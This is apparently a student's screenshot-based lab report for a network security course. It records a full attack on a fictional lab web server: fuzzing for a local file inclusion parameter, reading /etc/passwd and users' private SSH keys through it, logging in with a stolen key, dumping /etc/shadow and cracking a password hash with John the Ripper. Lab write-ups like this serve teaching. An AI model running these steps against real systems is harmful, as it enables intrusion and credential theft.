

PR 3: Screenshots of the solutions

Security in Computer Networks

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i Note

Below are screenshots demonstrating the command results for tasks requiring them.

Task 2

```
aperez-@kali:~$ curl -s "http://10.10.30.10/index.php?nonexistent=test" | wc -c  
3682
```

```
aperez-@kali:~$ ffuf -u "http://10.10.30.10/index.php?FUZZ=/etc/passwd" -w /usr/share/wordlists/dirb/common.txt -t 2 -fs 3682
```

```
      _____  
     /\_/\_/\_/\_/\_/\_/  
    //__//__//__//__//__//  
   //__//__//__//__//__//  
  //__//__//__//__//__//  
 //__//__//__//__//__//  
/_//__//__//__//__//__/  
 \_\_\_\_\_\_\_\_\_\_\_\_\_  
  v2.1.0-dev
```

```
-----  
:: Method           : GET  
:: URL              : http://10.10.30.10/index.php?FUZZ=/etc/passwd  
:: Wordlist          : FUZZ: /usr/share/wordlists/dirb/common.txt  
:: Follow redirects  : false  
:: Calibration       : false  
:: Timeout           : 10  
:: Threads           : 2  
:: Matcher           : Response status: 200-299,301,302,307,401,403,405,500  
:: Filter            : Response size: 3682  
  
-----
```

```
camel [Status: 200, Size: 5224, Words: 895, Lines: 136, Duration: 3ms]  
:: Progress: [4614/4614] :: Job [1/1] :: 1250 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
```

```
aperez-@kali:~$
```

Figure 1: Task 2 commands

Task 3

```
aperez-b@uoc.edu@kali:~$ curl -s "http://10.10.30.10/index.php?camel=/etc/passwd" | grep login
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:./nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104:./nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
bind:x:105:108:./var/cache/bind:/usr/sbin/nologin
sshd:x:106:65534:./run/sshd:/usr/sbin/nologin

aperez-b@uoc.edu@kali:~$ █
```

Figure 2: Task 3 commands

Task 4

```
aperez-b@uoc.edu@kali:~$ curl -s "http://10.10.30.10/index.php?camel=/home/hr/.ssh/id_rsa" | wc -c
curl -s "http://10.10.30.10/index.php?camel=/home/accountant/.ssh/id_rsa" | wc -c
curl -s "http://10.10.30.10/index.php?camel=/home/marketing/.ssh/id_rsa" | wc -c
curl -s "http://10.10.30.10/index.php?camel=/home/sales/.ssh/id_rsa" | wc -c
3682
3682
4081
4125

aperez-b@uoc.edu@kali:~$
```

Figure 3: Task 4 commands

```
<section id="contact">
  <h2>Contact</h2>
  <p>📍 Avenue of the Faded Map, San Marco, United States of Nowhere</p>
  <p>✉ Email: contact@nexuslifepharma.org</p>
</section>

<footer>
  &copy; 2025 Nexus Life Pharma – Fictional Ecommerce
</footer>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAABG5vbmUAAAABm9uZQAAAAAAAAABAAAAMwAAAAZc2gtZW
QyNTUxOQAAACDsJ1CwOX+vNlqcPAbrPB8bJsuBfNj/KrL3xJ8ZsUDUXQAAAJAQs4umELoL
pgAAAAZc2gtZWQyNTUxOQAAACDsJ1CwOX+vNlqcPAbrPB8bJsuBfNj/KrL3xJ8ZsUDUXQ
AAAE3EHwpRraJtxbNK0YPJn+aWXBcrA1Bhnp9gIQW79pXu+wnULA5f682Wpw8Bus8Hxsm
y4F82P8qsvfEnxmxQNRdAAAADGV4dGVybWFsX2tleQE=
-----END OPENSSH PRIVATE KEY-----

</body>

</html>

aperez-b@uoc.edu@kali:~$ curl -s "http://10.10.30.10/index.php?camel=/home/marketing/.ssh/id_rsa"
```

Figure 4: Task 4 commands

Task 5

```
<section id="contact">
  <h2>Contact</h2>
  <p>📍 Avenue of the Faded Map, San Marco, United States of Nowhere</p>
  <p>✉ Email: contact@nexuslifepharma.org</p>
</section>

<footer>
  &copy; 2025 Nexus Life Pharma – Fictional Ecommerce
</footer>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBSB+hcmY
Qyolsr/yYMe16RAAAAGAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAICRF0Z02HkkbiAk4
ThGoS+7qdKBfKYmoJBp92RHXFvx+AAAAkNXUKb8xKHFU2D/Mar+CdLyUOMBibuNohJYZcR
POdva6lk00x3mVrwNmHqbFUViihhUzoPgQygqRi2xC17TLzb4Pzouv7GFTVQW/fb3goAqJ
FBYjyqF6UUan7fBXFW+piwrhhEFpcDU/EAC1RJwJ6MUgTEtj+NKnHr9Z7aWVes3rdot0AJ
E1VTwD1pYhCOER1A==
-----END OPENSSH PRIVATE KEY-----
</body>

</html>
```

```
aperez-b@uoc.edu@kali:~$ curl -s "http://10.10.30.10/index.php?camel=/home/sales/.ssh/id_rsa"
```

Figure 5: Task 5 commands

```
aperez-b@uoc.edu@kali:~$ curl -s "http://10.10.30.10/index.php?camel=/home/marketing/.ssh/id_rsa" | sed -n '/-----BEGIN/,/-----END/p' > /tmp/marketing_id_rsa
curl -s "http://10.10.30.10/index.php?camel=/home/sales/.ssh/id_rsa" | sed -n '/-----BEGIN/,/-----END/p' > /tmp/sales_id_rsa

aperez-b@uoc.edu@kali:~$ ls
aperez-b@uoc.edu@kali:~$ ls /tmp/
EOS marketing_id_rsa sales_id_rsa

aperez-b@uoc.edu@kali:~$ chmod 600 /tmp/marketing_id_rsa
chmod 600 /tmp/sales_id_rsa

aperez-b@uoc.edu@kali:~$ ssh -i /tmp/marketing_id_rsa marketing@10.10.20.30 -p 40022
The authenticity of host '[10.10.20.30]:40022 ([10.10.20.30]:40022)' can't be established.
ED25519 key fingerprint is: SHA256:rP88gP4quVbMdmS3/m1R8D8QUvQrpinIrLHrPEUibc
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.20.30]:40022' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.16.8+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

marketing@db_server:~$
logout
Connection to 10.10.20.30 closed.

aperez-b@uoc.edu@kali:~$ ssh -i /tmp/sales_id_rsa sales@10.10.20.30 -p 40022
Enter passphrase for key '/tmp/sales_id_rsa':

aperez-b@uoc.edu@kali:~$
```

Figure 6: Task 5 commands

Task 6

```

aperez-b@uoc.edu@kali:~$ ssh admin@10.10.30.10 -p 40022
admin@10.10.30.10's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.16.8+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Wed May 20 15:57:03 2026 from 10.10.10.25
admin@web_server:~$ groups
admin sudo
admin@web_server:~$ sudo cat /etc/shadow | grep accountant
[sudo] password for admin:
accountant:$y$9T$uwlSFax2.dohjXmUow4Zp1$ttlIgo22eH/XA4645Vcf2jTL8gEuX/grF61gBPeMuA.:20539:0:99999:7:::
admin@web_server:~$
logout
Connection to 10.10.30.10 closed.

aperez-b@uoc.edu@kali:~$ echo 'accountant:$y$9T$uwlSFax2.dohjXmUow4Zp1$ttlIgo22eH/XA4645Vcf2jTL8gEuX/grF61gBPeMuA.:20539:0:99999:7:::' > /tmp/accountant_hash.txt

aperez-b@uoc.edu@kali:~$ john --format=crypt /tmp/accountant_hash.txt --wordlist=/tmp/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:decrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:02:21 0.43% (ETA: 01:06:44) 0g/s 523.8p/s 523.8c/s 523.8C/s beefjerky..andre23
0g 0:00:03:36 0.66% (ETA: 01:04:07) 0g/s 521.4p/s 521.4c/s 521.4C/s avianna..angelo21
Session aborted

aperez-b@uoc.edu@kali:~$ head -100000 /tmp/rockyou.txt > /tmp/rockyou_100k.txt
john --format=crypt /tmp/accountant_hash.txt --wordlist=/tmp/rockyou_100k.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:decrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 2.77% (ETA: 16:06:14) 0g/s 539.5p/s 539.5c/s 539.5C/s meagan..soccer9
0g 0:00:00:09 4.96% (ETA: 16:06:14) 0g/s 552.2p/s 552.2c/s 552.2C/s christina1..elsalvador
0g 0:00:00:59 31.84% (ETA: 16:06:19) 0g/s 541.9p/s 541.9c/s 541.9C/s luckycat..ginger5
0g 0:00:01:27 47.33% (ETA: 16:06:17) 0g/s 547.4p/s 547.4c/s 547.4C/s 138193..062388
0g 0:00:02:36 83.76% (ETA: 16:06:20) 0g/s 537.3p/s 537.3c/s 537.3C/s violal1..tinkerbell07
0g 0:00:03:05 DONE (2026-05-20 16:06) 0g/s 539.7p/s 539.7c/s 539.7C/s schubert..sage123
Session completed.

aperez-b@uoc.edu@kali:~$ john --show /tmp/accountant_hash.txt
0 password hashes cracked, 0 left

aperez-b@uoc.edu@kali:~$ john --format=crypt /tmp/accountant_hash.txt --wordlist=/tmp/rockyou_small.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:decrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
fopen: /tmp/rockyou_small.txt: No such file or directory

aperez-b@uoc.edu@kali:~$ cat /tmp/accountant_hash.txt
accountant:$y$9T$uwlSFax2.dohjXmUow4Zp1$ttlIgo22eH/XA4645Vcf2jTL8gEuX/grF61gBPeMuA.:20539:0:99999:7:::

aperez-b@uoc.edu@kali:~$ head -10000 /tmp/rockyou.txt > /tmp/rockyou_small.txt
john --format=crypt /tmp/accountant_hash.txt --wordlist=/tmp/rockyou_small.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:decrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:19 DONE (2026-05-20 16:09) 0g/s 515.1p/s 515.1c/s 515.1C/s sandara..labeba
Session completed.

aperez-b@uoc.edu@kali:~$ john --format=crypt /tmp/accountant_hash.txt --wordlist=/tmp/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:decrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:02:35 0.47% (ETA: 01:22:35) 0g/s 519.0p/s 519.0c/s 519.0C/s 01121985..vivivi
0g 0:00:04:18 0.79% (ETA: 01:15:14) 0g/s 522.5p/s 522.5c/s 522.5C/s 211915..1gracie
Session aborted

aperez-b@uoc.edu@kali:~$ john --format=crypt /tmp/accountant_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:decrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
accountant123 (accountant)
1g 0:00:00:00 DONE 1/3 (2026-05-20 16:15) 3.448g/s 331.0p/s 331.0c/s 331.0C/s accountant..accountant999992
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

aperez-b@uoc.edu@kali:~$

```

Figure 7: Task 6 commands